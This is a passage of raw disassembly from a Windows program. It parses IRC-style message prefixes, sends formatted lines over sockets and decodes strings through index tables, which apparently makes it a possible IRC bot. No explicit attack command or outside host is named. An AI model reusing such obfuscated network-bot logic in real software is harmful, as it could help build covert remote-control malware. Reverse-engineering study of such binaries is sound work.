call sub_4016AE push offset asc_443C78 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017E4 push eax lea ecx, [esp+24h+arg_25C] call sub_401861 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_44741D mov [ebp+16h], bl call sub_4017E4 push eax mov ecx, offset dword_4473D4 call sub_4017E4 mov edx, dword_4470F4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_40FF60+EC7j push offset asc_443600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447110 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411168 push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C78 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017E4 push eax lea ecx, [esp+24h+arg_34] call sub_401861 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_443C74 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 mov esi, dword_50FAF8 push eax call esi ; strstr add esp, 8 test eax, eax jz loc_411153 push offset asc_443C74 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax call esi ; strstr add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401861 push offset byte_446F60 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41113F push offset byte_446F60 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41113F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 cmp eax, ebx jz short loc_41111B lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FBE loc_41111B: ; CODE XREF: sub_40FF60+11A9j push offset byte_4E6E75 lea ecx, [esp+24h+arg_34] call sub_401B72 test eax, eax jnz short loc_41113F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E6E75 push edx call sub_401FBE loc_41113F: ; CODE XREF: sub_40FF60+1173j ; sub_40FF60+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411153: ; CODE XREF: sub_40FF60+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_411168: ; CODE XREF: sub_40FF60+109Cj push offset asc_443600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447120 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4111EF push offset asc_443600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447130 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4111F4 loc_4111EF: ; CODE XREF: sub_40FF60+1238j mov [esp+20h+var_D], 1 loc_4111F4: ; CODE XREF: sub_40FF60+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C78 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C8E call sub_401CD0 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C78 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_443C78 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C8E mov byte ptr [esp+50h+arg_246C], 37h call sub_40210D lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_411327 ; --------------------------------------------------------------------------- loc_411320: ; CODE XREF: sub_40FF60+391j mov ecx, ebp call sub_401D0C loc_411327: ; CODE XREF: sub_40FF60+1D3j ; sub_40FF60+253j ... cmp [ebp+17h], bl jnz loc_40FFA2 loc_411330: ; CODE XREF: sub_40FF60+3Cj ; sub_40FF60+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_40FF60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411860 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402054 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411860 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4118E0: ; CODE XREF: ___:loc_40115Ej ; ___:004016EAj push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4118F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4118F8: ; CODE XREF: ___:004118EDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411910 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411910 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40196A mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411910 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411990 proc near ; CODE XREF: sub_402054j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411990 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411990 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A50 proc near ; CODE XREF: sub_40196Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411A50 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B10 proc near ; CODE XREF: sub_4019D3j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40196A test [esp+4+arg_0], 1 jz short loc_411B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_411B28: ; CODE XREF: sub_411B10+Dj mov eax, esi pop esi retn 4 sub_411B10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411B40 proc near ; CODE XREF: sub_401A0Aj var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411B40 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411B66 lea edi, [esi+11h] jmp short loc_411B68 ; --------------------------------------------------------------------------- loc_411B66: ; CODE XREF: sub_411B40+1Fj xor edi, edi loc_411B68: ; CODE XREF: sub_411B40+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019B5 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017E4 lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_411B40 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411BBC lea ebx, [esi+11h] jmp short loc_411BBE ; --------------------------------------------------------------------------- loc_411BBC: ; CODE XREF: ___:00411BB5j xor ebx, ebx loc_411BBE: ; CODE XREF: ___:00411BBAj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019B5 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017E4 push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C1B lea ebx, [esi+11h] jmp short loc_411C1D ; --------------------------------------------------------------------------- loc_411C1B: ; CODE XREF: ___:00411C14j xor ebx, ebx loc_411C1D: ; CODE XREF: ___:00411C19j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017E4 lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C70 lea ebx, [esi+11h] jmp short loc_411C72 ; --------------------------------------------------------------------------- loc_411C70: ; CODE XREF: ___:00411C69j xor ebx, ebx loc_411C72: ; CODE XREF: ___:00411C6Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017E4 lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CC5 lea ebx, [esi+11h] jmp short loc_411CC7 ; --------------------------------------------------------------------------- loc_411CC5: ; CODE XREF: ___:00411CBEj xor ebx, ebx loc_411CC7: ; CODE XREF: ___:00411CC3j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019B5 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017E4 push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D18 lea ebx, [esi+11h] jmp short loc_411D1A ; --------------------------------------------------------------------------- loc_411D18: ; CODE XREF: ___:00411D11j xor ebx, ebx loc_411D1A: ; CODE XREF: ___:00411D16j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019B5 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017E4 lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D71 lea ebx, [esi+11h] jmp short loc_411D73 ; --------------------------------------------------------------------------- loc_411D71: ; CODE XREF: ___:00411D6Aj xor ebx, ebx loc_411D73: ; CODE XREF: ___:00411D6Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017E4 lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DCF lea ebx, [esi+11h] jmp short loc_411DD1 ; --------------------------------------------------------------------------- loc_411DCF: ; CODE XREF: ___:00411DC8j xor ebx, ebx loc_411DD1: ; CODE XREF: ___:00411DCDj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017E4 push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E2A lea ebx, [esi+11h] jmp short loc_411E2C ; --------------------------------------------------------------------------- loc_411E2A: ; CODE XREF: ___:00411E23j xor ebx, ebx loc_411E2C: ; CODE XREF: ___:00411E28j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017E4 lea edx, [esi+198h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E85 lea ebx, [esi+11h] jmp short loc_411E87 ; --------------------------------------------------------------------------- loc_411E85: ; CODE XREF: ___:00411E7Ej xor ebx, ebx loc_411E87: ; CODE XREF: ___:00411E83j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017E4 add esi, 13Ch push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411FE0 proc near ; CODE XREF: sub_401AB9j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411FE0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+26Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+0A1h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4120E2 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 mov edx, dword_4470F0 push eax push edx add edi, 0FFFFFFEFh push offset dword_443CDC push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4120E2: ; CODE XREF: sub_411FE0+70j lea ecx, [edi+187h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412159 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412159: ; CODE XREF: sub_411FE0+117j lea ecx, [edi+0FDh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412214 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016AE push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018A2 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412532 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412214: ; CODE XREF: sub_411FE0+18Ej lea ecx, [edi+12Bh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122BD push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_4470F4 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4122BD: ; CODE XREF: sub_411FE0+249j lea ecx, [edi+1B5h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41232B push offset asc_443600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017E4 mov edx, dword_447120 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E0B add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41232B: ; CODE XREF: sub_411FE0+2F2j lea ecx, [edi+23Fh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41238D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E2E mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017E4 push eax add edi, 0FFFFFFEFh push offset dword_443CD4 push edi call sub_401E0B add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_411FE0+360j lea ecx, [edi+1E3h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41242D push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push 1 push offset asc_443600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014D3 push eax mov ecx, esi call sub_4014D3 xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41242D: ; CODE XREF: sub_411FE0+3C2j lea ecx, [edi+159h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412532 push offset asc_443600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016AE mov ebx, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_447124 push eax add edi, 0FFFFFFEFh push offset dword_443CC4 push edi call sub_401E0B add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412532 ; --------------------------------------------------------------------------- loc_412509: ; CODE XREF: sub_411FE0+3Aj ; sub_411FE0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx nop call near ptr 71AB9639h mov ecx, offset word_448C8E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401537 loc_412532: ; CODE XREF: sub_411FE0+FDj ; sub_411FE0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_411FE0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4126B0 proc near ; CODE XREF: sub_401D39j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4126B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_401424 xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h nop call near ptr 71AB951Eh mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5EA1BD add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_446F60 call sub_4015D7 push offset dword_443D08 lea ecx, [esp+54h+var_24] call sub_401A9B lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401A9B push offset dword_443D04 lea ecx, [esp+54h+var_24] call sub_401A9B add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016BD push offset dword_443D04 lea ecx, [esp+54h+var_24] call sub_401A9B lea ecx, [esp+50h+var_34] push ecx call sub_401479 add esp, 4 test al, al jz short loc_4127BB push offset dword_443CF8 jmp short loc_4127C0 ; --------------------------------------------------------------------------- loc_4127BB: ; CODE XREF: sub_4126B0+102j push offset dword_443CEC loc_4127C0: ; CODE XREF: sub_4126B0+109j lea ecx, [esp+54h+var_24] call sub_401A9B mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_4126B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412870 proc near ; CODE XREF: sub_401582j arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax call near ptr 71AB428Ah nop mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_4128CE mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C8E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4128CE: ; CODE XREF: sub_412870+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412900 proc near ; CODE 